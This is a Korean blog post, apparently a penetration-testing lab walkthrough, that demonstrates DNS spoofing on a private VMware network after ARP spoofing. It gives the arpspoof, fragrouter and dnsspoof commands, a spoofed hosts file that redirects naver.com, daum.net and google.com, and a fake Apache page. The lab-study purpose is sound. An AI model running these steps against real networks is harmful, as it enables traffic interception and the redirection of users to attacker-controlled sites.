Linux/모의해킹

DNS Spoofing 공격

GGkeeper 2022. 1. 8. 02:37

실습>  DNS Spoofing

DNS를 속이는 공격으로 ARP Spoofing 공격이 먼저 선행이 되어야 가능하다.

네트워크 패킷 흐름도           
                                         MITM 
[Victim1(WinXP)] <-- 192.168.108.2    [Attacker]  192.168.108.105 --> [Victim2(Gateway)]
192.168.108.105                     192.168.108.102                   192.168.108.2
00:0c:29:0e:30:1e                   00:0c:29:e6:4d:4a                 00:50:56:e2:02:72

              --------------------------->    --------------------------->
             <---------------------------     <---------------------------

1. ARP spoofing 공격이 일어나기 전 
외부와 Attacker에 ping으로 통신을 확인하고 arp -a 로 MAC주소를 확인한다.
C:\>ping 8.8.8.8
C:\>ping 192.168.108.102
C:\>arp -a

Interface: 192.168.108.105 --- 0x2
  Internet Address      Physical Address      Type
  192.168.108.2         00-50-56-e2-02-72     dynamic
  192.168.108.102       00-0c-29-e6-4d-4a     dynamic

2. ARP spoofing 공격
위에 실습으로 생성한 arpspoof2.py 파일을 이용해서 공격을 진행한다.
Attacker# arpspoof2.py 105 2
>>> arp spoofing 공격 실행중 !!! <<<
arpspoof -t 192.168.108.105 192.168.108.2 > /dev/null 2>&1 &
arpspoof -t 192.168.108.2 192.168.108.105 > /dev/null 2>&1 &
fragrouter -B1 > /dev/null 2>&1

다른 터미널로 프로세스를 확인한다.
Attacker# ps aux | grep -E 'arp|fragrouter'
root       13541  0.0  0.4  16072  9424 pts/1    S+   05:08   0:00 python3 /usr/bin/arpspoof2.py 105 2
root       13543  0.0  0.0   8728  1484 pts/1    S+   05:08   0:00 arpspoof -t 192.168.108.105 192.168.108.2
root       13545  0.0  0.0   8728  1468 pts/1    S+   05:08   0:00 arpspoof -t 192.168.108.2 192.168.108.105
root       13546  0.0  0.0   2432   728 pts/1    S+   05:08   0:00 sh -c fragrouter -B1 > /dev/null 2>&1
root       13547  0.0  0.0   2484   724 pts/1    S+   05:08   0:00 fragrouter -B1
root       13604  0.0  0.1   6316  2224 pts/2    S+   05:13   0:00 grep --color=auto -E arp|fragrouter

3. ARP Spoofing 공격이 일어난 후
외부와 Attacker에 ping으로 통신을 다시 확인하고 arp -a 로 MAC주소를 확인한다.
ARP Spoofing 공격이 정확하게 진행된다면 Gateway의 MAC주소가 Attacker의 MAC주소로 변조된다.
C:\>ping 8.8.8.8
C:\>ping 192.168.108.102
C:\>arp -a

Interface: 192.168.108.105 --- 0x2
  Internet Address      Physical Address      Type
  192.168.108.2         00-0c-29-e6-4d-4a     dynamic
  192.168.108.102       00-0c-29-e6-4d-4a     dynamic

4. DNS Spoofing 공격
도메인 주소를 가지고 있는 호스트 파일을 생성한다.
naver.com, daum.net, google.com 의 도메인만 설정해서 테스트한다.
형식은 /etc/hosts 파일과 동일하다.
Attacker# vi dnsSpoofing.txt
-- dnsSpoofing.txt --
192.168.108.102 naver.com
192.168.108.102 *.naver.com
192.168.108.102 daum.net
192.168.108.102 *.daum.net
192.168.108.102 google.com
192.168.108.102 *.google.com
-- dnsSpoofing.txt --

DNS Spoofing 공격을 시도한다.
Attacker# dnsspoof -h
Version: 2.4
Usage: dnsspoof [-i interface] [-f hostsfile] [expression]

Attacker# dnsspoof -f dnsSpoofing.txt 
dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.108.102]

5. 웹서버 시작
공격자는 웹서버를 시작하고 가짜 웹페이지를 생성한다.
Attacker# systemctl start apache2
Attacker# echo Welcome to Attacker WEB Server. > /var/www/html/index.html
Attacker# lynx --dump 192.168.108.102
   Welcome to Attacker WEB Server.

6. 웹서버 접속
cmd 창에서 DNS 정보를 확인한다.

C:\>ipconfig/all

Windows IP Configuration

        Host Name . . . . . . . . . . . . : victim_winxp
        Primary Dns Suffix  . . . . . . . :
        Node Type . . . . . . . . . . . . : Unknown
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter 로컬 영역 연결:

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapte

        Physical Address. . . . . . . . . : 00-0C-29-0E-30-1E
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : 192.168.108.105
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.108.2
        DNS Servers . . . . . . . . . . . : 168.126.63.1


cmd 창에서 DNS 캐쉬를 삭제한다.
C:\>ipconfig /flushdns

Victim1(Windows XP)에서 브라우저를 열고 naver.com에 접속을 한다.
공격자 페이지가 보이면 DNS Spoofing 공격에 성공한 것이다.

http://naver.com
http://daum.net
http://google.com

'Linux > 모의해킹' 카테고리의 다른 글

iptables 에서 MAC 주소 설정하기  (0) 2022.01.08
IP Spoofing 기법을 이용한 방화벽 우회  (0) 2022.01.08
ARP Redirect 공격  (0) 2022.01.08
Python 디버깅  (0) 2022.01.08
arpspoof2.py 분석하기  (0) 2022.01.08